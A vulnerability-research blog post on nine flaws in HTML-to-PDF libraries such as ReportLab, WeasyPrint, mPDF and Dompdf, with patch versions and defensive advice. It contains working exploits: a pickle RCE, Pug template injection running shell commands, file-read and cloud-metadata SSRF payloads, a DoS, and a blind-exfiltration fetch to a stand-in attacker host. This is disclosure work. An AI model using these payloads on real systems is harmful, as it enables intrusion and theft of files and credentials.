> ## Content Index
> Fetch the complete content index at: https://yokai.hakaisecurity.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# Discovering 0-days in HTML-to-PDF Generators (90 million monthly targets)
- URL: https://yokai.hakaisecurity.io/exploring-pdf-generators-0-days-across-90-million-targets-a-month/
- Published: 2026-06-23T19:45:34.000Z
- Updated: 2026-06-23T19:45:34.000Z
- Author: pedro cruz
- Tags: Research Blog, #wp, en, #pair-zerodays-HTML-to-PDF

> By **Pedro "gankd" Cruz** — Pentest Analyst and Vulnerability Researcher at **Hakai Security**.

Almost every feature-rich application emits a PDF at some point: invoice, receipt, report, certificate, contract, bank statement. And behind that "Export PDF" button there's almost always an open-source lib assembling HTML with user data, throwing it at a parser and returning the file, **on the server**, with access to the filesystem, the internal network and, with some luck, the cloud metadata endpoint.

That makes the PDF generator one of the most underestimated targets in an application. ReportLab alone is **50 million downloads per month** on PyPI. Add WeasyPrint, Dompdf, mPDF, TCPDF, Browsershot, ReLaXed and the surface passes **90 million installs per month**.

This article covers **nine real 0-days** found in these libs, from RCE to arbitrary file read. After the cases, I condense everything into a short methodology you can apply to any target.

---

## Table of contents

1. [What is a PDF generator (and why it's such a good target)](#what-is-a-pdf-generator)
2. [Identifying the engine](#identifying-the-engine)
3. [The vulnerabilities](#the-vulnerabilities)
- [#1 — ReportLab: RCE via deserialization](#1--reportlab-rce-via-deserialization)
- [#2 — ReLaXed: RCE via Pug](#2--relaxed-rce-via-pug)
- [#3 — WeasyPrint: Local File Read (CVE-2024-28184)](#3--weasyprint-local-file-read)
- [#4 — WeasyPrint: SSRF bypass via redirect (CVE-2025-68616)](#4--weasyprint-ssrf-bypass-via-redirect)
- [#5 — Browsershot: LFI via UNC](#5--browsershot-lfi-via-unc)
- [#6 — mPDF: DoS via Billion Laughs in SVG](#6--mpdf-dos-via-billion-laughs)
- [#7 — Dompdf: file existence oracle](#7--dompdf-file-existence-oracle)
- [#8 — TCPDF: file existence oracle](#8--tcpdf-file-existence-oracle)
- [#9 — mPDF: directory enumeration](#9--mpdf-directory-enumeration)
1. [The methodology](#the-methodology)
2. [Conclusion](#conclusion)
3. [Pratice](#pratice)

---

## What is a PDF generator

A PDF generator is the component that turns dynamic data, a parameter, database content, form input, into a document. The most common (and most dangerous) pattern is **HTML-to-PDF**: the application assembles an HTML template, injects the user's data and hands it to a lib to render. This runs on the backend because it takes time, and that's exactly where a trust boundary is crossed.

When user input is concatenated into the template **without sanitization**, the renderer starts interpreting tags, attributes, CSS and SVG coming from the attacker. Depending on the engine, this becomes HTML injection, SSRF, local file read, insecure deserialization or even RCE. And since these services usually live **inside the perimeter**, next to sensitive data and with a looser network, a "dumb" bug in the renderer escalates fast into a serious incident.

The features where this shows up are always the same:

- Invoice, receipt, tax note, transfer confirmation
- Analytics report with a customizable filter
- Course certificate (e-learning platforms)
- Account export, bank statement
- Invitation, contract, authorization, proposal
- Ticket, voucher, pass

---

## Identifying the engine

Before testing any payload it's worth finding out **who** is generating the file, that alone tells you half the vectors that will work. The signature is usually in the PDF's own metadata:

```bash
exiftool invoice.pdf | grep -iE 'producer|creator'
```

| Producer                                                | Where it runs | JS?     |
| ------------------------------------------------------- | ------------- | ------- |
| WeasyPrint, mPDF, TCPDF, Dompdf, ReportLab              | Server-side   | No      |
| wkhtmltopdf / Skia/PDF (Chromium), Browsershot, ReLaXed | Server-side   | **Yes** |
| jsPDF, pdf-lib, html2pdf.js                             | Client-side   | —       |

The **server vs. client** distinction is the first that matters: in client-side (jsPDF, pdf-lib) the PDF is born in the victim's own browser, there's no target. The **with JS vs. without JS** distinction decides the entire exploitation strategy, and it's what separates "I won the hunt" from "I'll have to attack tag by tag".

With the signature in hand, we recommend checking for known CVEs and documented intentional behaviors of the lib.

---

## The vulnerabilities

Nine real cases in widely used libraries across the ecosystem. The research was conducted to explore multiple HTML injection vectors; of the vulnerabilities found, here are the most relevant:

| # | Lib         | Class                              | Impact                |
| - | ----------- | ---------------------------------- | --------------------- |
| 1 | ReportLab   | Deserialization (pickle)           | **RCE**               |
| 2 | ReLaXed     | Template injection (Pug)           | **RCE**               |
| 3 | WeasyPrint  | link rel=attachment                | Local File Read       |
| 4 | WeasyPrint  | SSRF bypass via redirect           | SSRF → cloud metadata |
| 5 | Browsershot | Blocklist doesn't cover UNC        | LFI                   |
| 6 | mPDF        | Billion Laughs in SVG              | DoS                   |
| 7 | Dompdf      | @font-face → OOM                   | File existence oracle |
| 8 | TCPDF       | Image error leaks path             | File existence oracle |
| 9 | mPDF        | file\_get\_contents on a directory | Directory enumeration |

### #1 — ReportLab: RCE via deserialization

**Target:** [reportlab](https://pypi.org/project/reportlab/?ref=yokai.hakaisecurity.io) — **50.9M downloads/month** (PyPI).  
**Sink:** `reportlab/lib/utils.py::decode_label`.  
**Fix:** ReportLab 4.4.8 (2026-01-15).

ReportLab uses `pickle.loads()` on a path that looked internal:

```python
def decode_label(label):
    return pickle.loads(base64_decodebytes(label.encode('latin1')))
```

`pickle.loads` on untrusted data is RCE — everybody knows that. What was missing was the trigger.

ReportLab supports a tag called `<onDraw name="func" label="data"/>` inside `Paragraph`. When the application uses `SimpleIndex` (the documented way to generate an index) and arms the canvas with `getCanvasMaker()`, the `_indexAdd` method becomes reachable by name — and it calls `decode_label(label)` directly.

Result: user-controlled text in a Paragraph is RCE when the app also uses SimpleIndex (getCanvasMaker()) or PageAccumulator (attachToPageTemplate()) — those register the callable that <onDraw name=...> invokes to reach decode\_label(). Without one armed, <onDraw> raises AttributeError instead.

**Vulnerable implementation:**

```python
doc = SimpleDocTemplate("exploit.pdf")
styles = getSampleStyleSheet()
index_gadget = SimpleIndex()

gankd_input = f"<b>html injection</b>"
story = [Paragraph(gankd_input, styles['Normal']), index_gadget]

doc.build(story, canvasmaker=index_gadget.getCanvasMaker())
```

**Exploit:**

```python
import pickle, base64, os
from reportlab.platypus import SimpleDocTemplate, Paragraph
from reportlab.lib.styles import getSampleStyleSheet
from reportlab.platypus.tableofcontents import SimpleIndex

class Exploit:
    def __reduce__(self):
        return (os.system, ('touch /tmp/rce_success.txt',))

payload_bin = pickle.dumps(Exploit())
malicious_label = base64.b64encode(payload_bin).decode('latin1')

doc = SimpleDocTemplate('exploit.pdf')
styles = getSampleStyleSheet()
index_gadget = SimpleIndex()

gankd_input = f"Triggering Exploit... <onDraw name='_indexAdd' label='{malicious_label}'/>"
story = [Paragraph(gankd_input, styles['Normal']), index_gadget]

try:
    doc.build(story, canvasmaker=index_gadget.getCanvasMaker())
except Exception:
    pass

assert os.path.exists('/tmp/rce_success.txt')
```

Official patch: [https://hg.reportlab.com/hg-public/reportlab/rev/8017a5b19981](https://hg.reportlab.com/hg-public/reportlab/rev/8017a5b19981?ref=yokai.hakaisecurity.io). Update to **4.4.8 or higher**.

---

### #2 — ReLaXed: RCE via Pug

**Target:** [RelaxedJS/ReLaXed](https://github.com/RelaxedJS/ReLaXed?ref=yokai.hakaisecurity.io) — **11.8k stars** (distributed via clone/Docker).  
**Sink:** `src/masterToPDF.js`, `pug.render(...)`.

The context ReLaXed passes to `pug.render()` leaves Node's `require` visible to the template. If user input is concatenated into the template source (not as a local), Pug opens a code block with `- ...` and any JS runs.

**Scenario:**

```javascript
app.post('/generate-report', (req, res) => {
    const userTitle = req.body.title;
    const templateContent = `
h1 User Report
p Welcome to the report for: ${userTitle}
`;
    fs.writeFileSync('user_report.pug', templateContent);
    exec('relaxed user_report.pug', (error) => {
        if (error) return res.status(500).send("Error generating PDF");
        res.download('user_report.pdf');
    });
});
```

**Payload:**

```pug
#{""}
- var cmd = require('child_process').execSync('id').toString()
p RCE Result: #{cmd}
```

It breaks out of the text context, opens a JS block, loads `child_process`, executes and spits stdout into the PDF. RCE as the process running ReLaXed.

**Fix:** never concatenate input into template source. Pass it as `locals`: `pug.render(template, { title: userTitle })`. And strip `require` from the context.

---

### #3 — WeasyPrint: Local File Read

**Target:** [weasyprint](https://github.com/Kozea/WeasyPrint?ref=yokai.hakaisecurity.io) — **26.9M downloads/month** (PyPI).  
**CVE:** [CVE-2024-28184](https://nvd.nist.gov/vuln/detail/CVE-2024-28184?ref=yokai.hakaisecurity.io).  
**Credit:** [@nullie](https://github.com/nullie?ref=yokai.hakaisecurity.io) — **not my discovery**. Included because it's the primitive I used in the engagement that became CVE-2025-68616.

WeasyPrint accepts `<link rel="attachment">` and the `href` can be `file://`. The resource becomes an attachment embedded in the PDF.

```html
<link rel="attachment" href="file:///etc/passwd">
```

To extract:

```bash
$ pdfdetach -saveall attachment.pdf
$ cat passwd
root:x:0:0:root:/root:/bin/bash
...
```

> **Tip!** `<link>` renders nothing visible, so sanitizers that only look at visual content let it through. Whenever there's an "attach file to PDF", think `file://`.

---

### #4 — WeasyPrint: SSRF bypass via redirect

**Target:** WeasyPrint < 68.0.  
**Sink:** `default_url_fetcher` in `weasyprint/urls.py`.  
**CVE:** [CVE-2025-68616](https://nvd.nist.gov/vuln/detail/CVE-2025-68616?ref=yokai.hakaisecurity.io) — **CVSS 7.5 High**.

Same engagement as #3\. After the LFR, I went after AWS metadata:

```html
<link rel="attachment" href="https://169.254.169.254">
```

It didn't work. The team had a custom `url_fetcher` blocking strings with `169.254.169.254`, `localhost`, etc. Defense in depth — in theory.

In practice: WeasyPrint lets the developer validate URLs in the `url_fetcher`, but the default implementation uses `urllib.request.urlopen`, which follows 301/302/307 redirects on its own, **without re-entering the fetcher**. Classic TOCTOU. The initial URL passes, the attacker responds `302 Location: http://169.254.169.254/...`, and urllib follows blind.

**The app's "secure" filter:**

```python
def secure_fetcher(url):
    if "169.254.169.254" in url:
        raise PermissionError(f"Access to {url} denied.")
    return default_url_fetcher(url)
```

**Attacker's redirector:**

```python
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/redirect')
def malicious():
    return redirect("https://169.254.169.254", code=302)

app.run(port=1337)
```

**Payload:**

```html
<link rel="attachment" href="https://mysite/redirect">
```

`secure_fetcher` validates `mysite`. Approves. `urllib` follows the 302\. STS credential in the PDF.

Update to **WeasyPrint ≥ 68.0**. Advisory: [GHSA-983w-rhvv-gwmv](https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-983w-rhvv-gwmv?ref=yokai.hakaisecurity.io).

---

### #5 — Browsershot: LFI via UNC

**Target:** [spatie/browsershot](https://github.com/spatie/browsershot?ref=yokai.hakaisecurity.io) — **1.5M installs/month** (Packagist).  
**Sink:** `src/Browsershot.php`, the `$unsafeProtocols` property.

Badly built blacklist:

```php
protected array $unsafeProtocols = [
    'file:', 'file:/', 'file://', 'file:\\', 'file:\\\\', 'view-source',
];
```

Doesn't cover UNC. Chromium accepts `\\localhost\etc\passwd` and resolves it as the local filesystem — without the `file://` protocol.

```php
$payload = '<iframe src="\\\\localhost/etc/passwd" width="1000" height="1000"></iframe>';
\Spatie\Browsershot\Browsershot::html($payload)->save('output.pdf');
```

Open the PDF, `/etc/passwd` is there.

**Fix:** allowlist (`https://`, `http://`, `data:` if needed). Everything else denied by default.

---

### #6 — mPDF: DoS via Billion Laughs

**Target:** [mpdf/mpdf](https://github.com/mpdf/mpdf?ref=yokai.hakaisecurity.io) — **2M installs/month** (Packagist).  
**Sink:** `src/Image/Svg.php::ImageSVG`.

mPDF has a manual `<!ENTITY>` expander for SVG using `preg_replace` in a loop. Classic mistake — it bypasses all of `libxml`'s protections:

```php
if (preg_match('/<!ENTITY/si', $data)) {
    preg_match_all('/<!ENTITY\s+([a-z]+)\s+\"(.*?)\">/si', $data, $ent);
    for ($i = 0; $i < count($ent[0]); $i++) {
        $data = preg_replace(
            '/&' . preg_quote($ent[1][$i], '/') . ';/is',
            $ent[2][$i],
            $data
        );
    }
}
```

Each iteration expands one entity across the whole string. Entity `i` that references `i-1` (already expanded) gets re-expanded. Exponential growth.

**PoC:**

```php
$payload = '
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
<!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;">
<!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
<!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
<!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
<!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY a "AAAAAAAAAA">
<text x="0" y="0">&i;</text>
</svg>';

$mpdf = new \Mpdf\Mpdf();
$mpdf->WriteHTML($payload);
$mpdf->Output();
```

482 bytes of input, \~1 GB of RAM, process killed by `memory_limit`. Twenty parallel requests take down the fleet.

**Fix:** let `libxml` handle this. If keeping manual expansion, limit depth and size on each iteration.

---

### #7 — Dompdf: file existence oracle

**Target:** [dompdf/dompdf](https://github.com/dompdf/dompdf?ref=yokai.hakaisecurity.io) — **5.8M installs/month** (Packagist).  
**Class:** CWE-770.  
**CVE:** [CVE-2026-55555](https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384?ref=yokai.hakaisecurity.io) — **CVSS 6.3 Medium**.

Dompdf processes `@font-face` with `src: url(file://...)`. If the file **exists**, the font engine tries a heavy parse per declaration and exhausts PHP's memory limit, causing a crash. If it **doesn't exist**, it fails and moves on.

Repeating the same declaration hundreds of times:

- File exists → OOM → fatal.
- File doesn't exist → PDF generated.

Chroot bypass, because what leaks is only existence metadata. PHP's default `memory_limit` is 128M.

**PoC:**

```php
$dompdf = new Dompdf(new Options());

function generate_payload($file, $iterations) {
    $css = $body = '';
    for ($i = 0; $i < $iterations; $i++) {
        $css  .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n";
        $body .= "<span style=\"font-family:f{$i}\">.</span>";
    }
    return "<html><head><style>{$css}</style></head><body>{$body}</body></html>";
}

$payload = generate_payload('/etc/passwd', 5250);
$dompdf->loadHtml($payload);
$dompdf->render();
```

When the file exists:

```plaintext
PHP Fatal error: Allowed memory size of 134217728 bytes exhausted
```

**Fix:** Dompdf 3.1.6+ validates the file path during stylesheet URL resolution. The `resolveUrl()` method now checks whether the resolved path is outside the configured chroot. If it is, it rejects the import instead of trying to process it.

---

### #8 — TCPDF: file existence oracle

**Target:** [tecnickcom/tcpdf](https://github.com/tecnickcom/TCPDF?ref=yokai.hakaisecurity.io) — **2.7M installs/month** (Packagist).  
**Sink:** `Image()` in `tcpdf.php`.

When the HTML has an `<img>`, TCPDF:

1. Checks `fileExists($file)`. If `false`, moves on silently.
2. If it exists, calls `getimagesize()`.
3. If `getimagesize()` fails (a directory, or a non-image file like `config.php`) **without explicit width/height in the HTML**, TCPDF calls `Error()` with a message that **includes the full path**.

| Scenario              | Result                                                      |
| --------------------- | ----------------------------------------------------------- |
| File doesn't exist    | Normal PDF                                                  |
| File/directory exists | TCPDF ERROR: \[Image\] Unable to get the size of /path/file |

**PoC:**

```html
<img src="config.php">
<img src="/.env">
<img src="/admin/">
<img src="/var/backups/db.sql">
<img src="/home/deploy/.ssh/id_rsa">
```

TCPDF processes in order and dies on the first hit, returning the path. Lists of 15k entries work in a single HTTP request. A WAF watching for 404s or path traversal sees nothing, the "fuzz" happens inside the PHP process.

---

### #9 — mPDF: directory enumeration

**Target:** [mpdf/mpdf](https://github.com/mpdf/mpdf?ref=yokai.hakaisecurity.io) — **2M installs/month** (Packagist).  
**Sink:** `src/File/LocalContentLoader.php`.

```php
public function load($path)
{
    return file_get_contents($path);
}
```

If the path is an **existing directory**, `file_get_contents` emits a warning. The warning goes to stdout, and by that point mPDF has already started writing PDF bytes — "Output already sent", fatal. If the path **doesn't exist**, it fails silently and the PDF comes out clean.

Crash vs. PDF = oracle.

```php
$mpdf = new \Mpdf\Mpdf();
$mpdf->WriteHTML('<img src="/var/lib/docker" />');
$mpdf->Output();
```

`/etc` exists → Linux. `C:/Windows` exists → Windows. `/var/www/secret-project` exists → there's a target. Pairs very well with any later LFI.

**Fix:**

```php
public function load($path)
{
    if (is_dir($path)) return null;
    return file_get_contents($path);
}
```

---

## The methodology

Across all the bugs identified, I used the same methodology. If you followed the cases above, you've already seen each technique in action. Here are six steps applicable to any "Export PDF" feature, capable of finding new vulnerabilities or replicating the approaches explored across the different libraries.

**1\. Read the metadata** — In the vast majority of applications, metadata isn't sanitized. With a simple `exiftool` read, you can identify the technology in use. That determines whether it's server-side (opening a wider range of attacks) or client-side, each with its own exploitation vectors.

**2\. HTML injection** — A simple test with tags like `<b>injection-test</b>` in the field that appears in the PDF (name, description, note, title). Bold = you have injection. Also test HTML entities like `&amp;` and URL-encoded characters (e.g. `>` as `%3E`) to understand how the library parses the input. HTML injection is the main vector to escalate server-side vulnerabilities.

**3\. Does JS execute?** The test that decides the hunt:

```html
<script>document.write("js-executed")</script>
```

Printed = headless engine (Chromium / wkhtmltopdf / Browsershot / ReLaXed). You won. Didn't print = WeasyPrint / mPDF / TCPDF / Dompdf / ReportLab — no JS, but plenty of tags to attack. `<script>` filtered? `<svg onload=...>` and `<img src=x onerror=...>`.

**4a. With JS, everything becomes code.** You have `fetch`, `XHR` and the server's network:

```html
<!-- cloud metadata (the best-paying score) -->
<script>fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/').then(r=>r.text()).then(t=>document.body.innerText=t)</script>

<!-- local file (works even when iframe file:// is blocked) -->
<script>fetch('file:///etc/passwd').then(r=>r.text()).then(t=>document.body.innerText=t)</script>

<!-- blind exfil when the PDF is discarded -->
<script>fetch('http://internal').then(r=>r.text()).then(d=>fetch('https://collab.attacker/?d='+btoa(d)))</script>
```

From there: internal network (`http://10.0.0.1/admin`, Redis, Elastic, Jenkins), timing-based port scan, and RCE when the template compiles server-side (`require('child_process')` in Pug/EJS, that was case #2).

**4b. Without JS, tag by tag.** You lose programmatic control, but you attack every tag that fires a request:

```html
<iframe src="file:///etc/passwd" height="1000" width="1000"></iframe>     <!-- LFI -->
<iframe src="http://169.254.169.254/latest/meta-data/" width="2000"></iframe>  <!-- metadata -->
<link rel="attachment" href="file:///etc/passwd">                        <!-- WeasyPrint, cases #3/#4 -->
<embed src="http://169.254.169.254/" />                                  <!-- iframe blocked -->
<svg><image xlink:href="../../../etc/passwd" width="100%"/></svg>        <!-- SVG path traversal -->
<style>@font-face{font-family:x;src:url('file:///etc/passwd')}</style>   <!-- CSS + oracle, case #7 -->
```

Blind? Point `<img>`, `<link rel=stylesheet>`, `@import`, `<base>` and `<meta refresh>` at your OAST and confirm network egress before wasting time.

**5\. Filters blocking exploitation?** — In many cases *blocklists* are implemented and there's almost always a *bypass*:

- **Encoding** — `file://` becomes `&#102;ile:`; `../` becomes `..%2f` (the `urldecode()` decodes after the check — TCPDF patch bypass).
- **Alternative protocol** — UNC `\\localhost\etc\passwd` in Chromium, without using `file://` (case #5).
- **Alternative tag** — `<img>` blocked? `<input type=image>`, `<video>`, `<svg><image href>`. `<iframe>`? `<embed>`, `<object>`.
- `**<base href>**` — rewrites relative URL resolution for the entire page; a filter watching `src=` doesn't see it.
- **Redirect** — an allowlist that doesn't revalidate on the hop: respond `302 Location: http://internal` (case #4).
- **Alternative IP encoding** — `169.254.169.254` becomes `[2002:a9fe:a9fe::]` (6to4) or `[64:ff9b::a9fe:a9fe]` (NAT64). The stdlib's `IsPrivate()` doesn't catch it.
- **Switch layers** — HTML filtered → CSS → inline SVG → base64 SVG in `<img src="data:...">`. The three sanitizers rarely cover the same set.

**6\. Nothing reflects? *Side-channel*** — If you got HTML *injection* but couldn't escalate to anything, whether due to library maturity or lack of code, there are *side-channels* that almost always work. Response time (*port scan*, *hostname* discovery), *status code*, *crash* vs. success (file existence *oracle*: cases #7 and #9) and error messages leaking the *path* (case #8) are viable channels. Beyond that, *tags* like `<img>` can be used for file or directory discovery via import, and in extreme cases even *cross-site leaks* exploiting the behavior of HTML *tags* reaching the internal network. Rarely critical on its own, in certain specific contexts it can be combined with other flaws.

---

## Conclusion

A PDF generator is a good target for three reasons: the user's *input* enters the renderer almost intact, the renderer runs on the server (with *filesystem*, internal network and sometimes *cloud* credentials), and the surface is absurd: each lib has dozens of *tags*, attributes and *features*. Nine cases later, the pattern is clear: the bug is almost never exotic; it's `pickle.loads`, `preg_replace` in a *loop* or a *blocklist* that forgot an *encoding*.

And when the vendor ships a patch, **read the *diff* before accepting it as final**. *Patch bypass* is extremely common.

For whoever maintains this kind of service:

- ***Allowlist*, never *blocklist*.** Protocol, *host*, *path* — deny by default.
- **Revalidate on every *hop*.** A filter that doesn't re-enter on a *redirect* is useless.
- **Don't call an unsafe parser on user data.** `pickle.loads`, `eval`, `preg_replace` in a loop, `unserialize()` on external data — any of them is RCE/DoS waiting to happen.
- **Engine with JS:** disable JS, isolate the worker's network, don't load real session cookies.
- **A generic error message** closes most of the oracles.
- **Classify addresses by class** (including tunneled prefixes), not by string. The stdlib's `IsPrivate()` doesn't cover 6to4/Teredo/NAT64.
- **When you publish a patch, tag a release the same day.** A fix on `main` without a tag leaves downstream blind.

You just saw nine ways to turn an "Export PDF" button into RCE, file read, SSRF and DoS, and the methodology to find the next one yourself. Now go open Burp on the next target with PDF export and test. Let's hack!

---

### Pratice

The Hacking Club is a training platform focused on developing cybersecurity professionals. The [Certifia](https://app.hackingclub.com/training/challenges/131?ref=yokai.hakaisecurity.io) challenge simulates a server with the vulnerability referenced in this post and can be used to reinforce the knowledge presented.

---